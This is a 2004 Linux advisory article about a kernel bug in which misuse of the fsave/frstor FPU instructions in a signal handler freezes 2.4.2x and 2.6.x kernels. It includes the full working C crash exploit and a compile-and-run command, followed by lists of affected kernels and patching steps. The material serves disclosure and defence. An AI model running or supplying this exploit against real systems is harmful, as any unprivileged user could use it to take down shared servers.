June 11th, 2004: New Kernel Crash-Exploit discovered
A Linux kernel bug allows a simple C program crash the kernel, effectively locking the whole system. The security hole affects both 2.4.2x and 2.6.x kernels on the x86 and x86_64 architectures.
The kernel is the most important part of the Linux operating system. It handles communication with the computers hardware and decides the priority of running programs (processes). If the kernels stops doing it's job, everything else will too.
The flaw was by accident discovered by Stian Skjelstad when he was doing some code tests while on vacation. He was quite surprised when he discovered that the code he was trying froze his machine. He reported it to the Linux-kernel mailing list and the gcc bugzilla 2004-06-09.
The Evil Code
Running this simple C program crashes the Linux kernel.
/* -------------------- * frstor Local Kernel exploit * Crashes any kernel from 2.4.18 * to 2.6.7 because frstor in assembler * inline offsets in memory by 4. * Original proof of concept code * by stian_@_nixia.no. * Added some stuff by lorenzo_@_gnu.org * and fixed the fsave line with (*fpubuf). * -------------------- */ /* --------- Some debugging information made available by stian_@_nixia.no --------- TakeDown: pushl %ebp movl %esp, %ebp subl $136, %esp leal -120(%ebp), %eax movl %eax, -124(%ebp) #APP fsave -124(%ebp) #NO_APP subl $4, %esp pushl $1 pushl $.LC0 pushl $2 call write addl $16, %esp leal -120(%ebp), %eax movl %eax, -128(%ebp) #APP frstor -128(%ebp) #NO_APP leave ret */ #include <sys/time.h> #include <signal.h> #include <unistd.h> static void TakeDown(int ignore) { char fpubuf[108]; // __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf)); __asm__ __volatile__ ("fsave %0\n" : : "m"(*fpubuf)); write(2, "*", 1); __asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf)); } int main(int argc, char *argv[]) { struct itimerval spec; signal(SIGALRM, TakeDown); spec.it_interval.tv_sec=0; spec.it_interval.tv_usec=100; spec.it_value.tv_sec=0; spec.it_value.tv_usec=100; setitimer(ITIMER_REAL, &spec, NULL); while(1) write(1, ".", 1); return 0; } // <<EOF
This bug is confirmed to be present when the code is compiled with GCC version 2.96, 3.0, 3.1, 3.2, 3.3 and 3.3.2 and used on Linux kernel versions 2.4.2x and 2.6.x on x86 and amd64 systems.
The Crashing Kernels
Minor numbers are versions verified, this is just the top the iceberg:
Linux 2.6.x
- 2.6.7-rc2
- 2.6.6 (vanilla)
- 2.6.6-rc1 SMP (verified by blaise)
- 2.6.6 SMP (verified by riven)
- 2.6.6-debian (verified by arturaz)
- 2.6.5-gentoo (verified by RatiX)
- 2.6.5-mm6 - (verified by Mariux)
- 2.6.5 (fedora core 2 vanilla)
- 2.6.3-13mdk (Mandrake)
Linux 2.4.2x
- 2.4.26 vanilla
- 2.4.26, grsecurity 2.0 config
- 2.4.26-rc1 vanilla
- 2.4.26-gentoo-r1
- 2.4.22
- 2.4.22-1.2188 Fedora FC1 Kernel
- 2.4.20 RH7.3 (gcc 2.96)
- 2.4.18-bf2.4 (debian woody vanilla)
Even grsecurity-patched kernels crash. "I would have hoped that grsec would have blocked or logged something, but nothing appeared in the logs." -Vincent
Assume your kernel is vulnerable unless you have good reason to believe it is safe.
The safe kernels
This code does nothing but exit with the error message Floating point exception and can not do any damage to systems running
- Linux nudge 2.6.5-1um i686 (the user-mode Linux kernel) Dylan Smith
- Linux Kernel 2.6.4 SMP patched with staircase scheduler Guille
- Linux kernel 2.4.26-rc3-gentoo (gcc 3.3.3)
- Linux kernel 2.4.26_pre6-gentoo (gcc 3.3.2)
- Linux Kernel 2.4.25-gentoo-r1 Charles A. Haines (3G Publishing)
- 2.2.19-kernel
It is unclear why these specific Gentoo patch sets of the 2.4.26 kernel are safe. Other versions of the Gentoo kernel are not. (2.4.26-rc3-gentoo was, by chance, the kernel I was running when this code came to my attention..)
The user-mode Linux kernel 2.6.5-1um is safe. I assume this means other versions of user mode Linux are safe.
Linux Kernel 2.6.4 SMP with patches has been reported to be safe. Reporter uses a version patched with Con Kolivas Staircase scheduler (but it only affects to the task scheduler). Gcc version 3.3.3. "System did not crash, I left the crash program 10 minutes and after that i killed the task and I continued using my system". Guille
The glitch is verified present in Linux 2.5.6 SMP and Linux 2.6.6 SMP.
The bug is not present in 2.2.x, this bug only affects 2.4 and later.
The threat
Using this exploit to crash Linux systems only requires the (ab)user to have shell access or other means of uploading and running the program (like cgi-bin and FTP access). The program works on any normal user account, root access is not required. This exploit has been reported used to take down several "lame free-shell providers" servers (running code you know will damage a system intentionally and hacking in general is illegal in most parts of the world and strongly discouraged).
This code only works on x86 and x86_64 Linux machines. This code does not compile (makes no executable) on sparc64 sun4u TI UltraSparc II (BlackBird). This doesn't affect NetBSD Stable.
SMP systems can be compromised, but a separate instance of the program is required for each CPU before the system halts. Each instance of the program code will lock one CPU and this process can not be killed. If you have two CPUs the second instance of the program kills the entire machine.
This is a big deal because it allows any customer annoyed at a web hosting provider or other similar services to shut down their whole service with a minimum of effort. Such an attack will not even be logged as the kernel immediately freezes.
"There's a path into the kernel where if there is a pending FP error, the kernel will end up taking an FP exception, and it will continue to take the FP exception forever. Duh." -Linus Torvalds
Be prepared
Check your own system yourself if you are wondering if this affects you. Better safe than sorry. Assume it will crash, sync (even unmount) your file systems before testing. If your system is a production server with 1000 on line users then do not test this code on that box.
If you enabled Magic SysRq (CONFIG_MAGIC_SYSRQ=y, found in make menuconfig at Kernel hacking -> Magic SysRq key) in your kernel you can cleanly reboot if evil freezes your system with the following keyboard combination:
- Alt-SysRq-R (keyboard in raw mode)
- Alt-SysRq-S (save unsaved data to disk)
- Alt-SysRq-E (send termination signal)
- Alt-SysRq-I (send kill signal)
- Alt-SysRq-U (remount all mounted file systems)
- Alt-SysRq-B (reboots the system)
How to protect yourself
The last days were frustrating, I wanted to publish a fix together with the exploit code. Compiling a large number of different kernel versions just to find that gcc crash.c -o evil && ./evil halts the system is quite dull. I hoped some kernels would be unaffected because 2.4.26-rc3-gentoo and 2.4.26_pre6-gentoo are, but sadly almost all kernels versions die when evil is executed. Temporary fixes have been posted here (the signal.c patch by Stian Skjelstad and a how-to on installing 2.4.26-rc3-gentoo, a kernel version I discovered was safe before patches became available), but none of these solutions were incredibly great.
Luckily, the kernel team were quick to release official patches. The right fixes are now declared by the all and mighty hero Linus Torvalds.
Patch for 2.4.2x Kernels, x86 and x86_64
(The Right) Patch for 2.4.2x, x86:
- Bitkeeper i387.h patch x86 (link removed disabled since it no longer works)
x86-64 is missing in Bitkeeper, Andr Tomt posted patches including x86_64 at http://tomt.net/kernel/clear_fpu/ 24_kernel_ia32-and-x86_64-fix-fpu-state.patch Evil can not do any damage once this patch is applied, but it will keep running at 99% CPU until it is killed (like any other process).
Follow these steps to get a safe vanilla kernel:
- 1. Read the Kernel Rebuild Guide if this is your first time compiling your own kernel
- 2. Download the latest kernel source, linux-2.4.26.tar.bz2, from your local Linux Kernel Mirror
- 3. Unpack the kernel source and make a symbolic link:
- cd /usr/src/
- tar xfvj linux-2.4.26.tar.bz2
- ln -s linux-2.4.26 linux
- 4. Download the patch for 2.4.26: 24_kernel_ia32-and-x86_64-fix-fpu-state.patch.txt
- 5. Apply the patch
- patch -p1 -d /usr/src/linux-2.4.26 <24_kernel_ia32-and-x86_64-fix-fpu-state.patch.txt
- Configure and compile as usual.
- make dep bzImage modules modules_install
- mount /boot (some distributions mount /boot on startup)
- cp arch/i386/boot/bzImage /boot
The patches should apply cleanly to all 2.4.xx versions.
Patch for 2.6.xx Kernels, x86 and x86_64
Linux kernel 2.6.7 is now released. (2004-06-16 06:02 UTC)
Changelog : ChangeLog-2.6.7 This version is, ofcource, safe.
Older versions of the 2.6.x should be patched:
- Patch for 2.6.x, x86:
- Bitkeeper i387.h patch x86
- Patch for 2.6.x, x86_64:
- Bitkeeper i387.h patch x86_64
- Both: 26_kernel_ia32-and-x86_64-fix-fpu-state.patch
- Read the Kernel Rebuild Guide if this is your first time compiling your own kernel
- Get a 2.6.x kernel from kernel.org and unpack it to /usr/src
- Get 26_kernel_ia32-and-x86_64-fix-fpu-state.patch.txt
- patch -p1 -d /usr/src/linux-2.6.7-rc2 <26_kernel_ia32-and-x86_64-fix-fpu-state.patch.txt
- Follow the usual steps.
5.3. Fedora Core 2 users
Red Hat has now released a patched kernel for Fedora Core 2. (Fedora Update Notification FEDORA-2004-171 2004-06-14)
sudo yum -y update kernel*
will upgrade your kernel to the safe Version : 2.6.6, Release : 1.435.
Gentoo Linux users
Safe (patched) kernels for Gentoo Linux were released 2004-06-14:
gentoo-sources 2.4.26-r2 Full sources including the gentoo patchset for the 2.4 kernel tree
- gaming-sources 2.4.20-r12
- Full sources for the Gentoo gaming-optimized kernel
- gs-sources 2.4.25_pre7-r6
- This kernel stays up to date with current kernel -pres, with recent acpi,evms,win4lin,futexes,aic79xx, superfreeswan,preempt, and various hw fixes.
- xfs-sources 2.4.24-r7
- Full sources for the XFS Specialized Gentoo Linux kernel
- vserver-sources 2.4.26.1.3.9-r1
- Linux kernel with DEVEL version ctx-/vserver-patch
Suse Linux users
SUSE Security Announcement: kernel SuSE-SA:2004:017 (2004-06-16)
Trustix Operating System
Trustix Secure Linux Bugfix Advisory 2004-0034 (2004-06-16)
Bug reports
The exploit was reported as gcc bug 15905 2004-06-09.
This is reported to the linux-kernel list with the subject timer + fpu stuff locks my console race 2004-06-09.
Reported to Gentoo Bugzilla as bug 53804 2004-06-13
This article was originally posted on LinuxReviews old site June 11th, 2004.
published 2004-06-11 - last edited 2019-06-17
Enable comment auto-refresher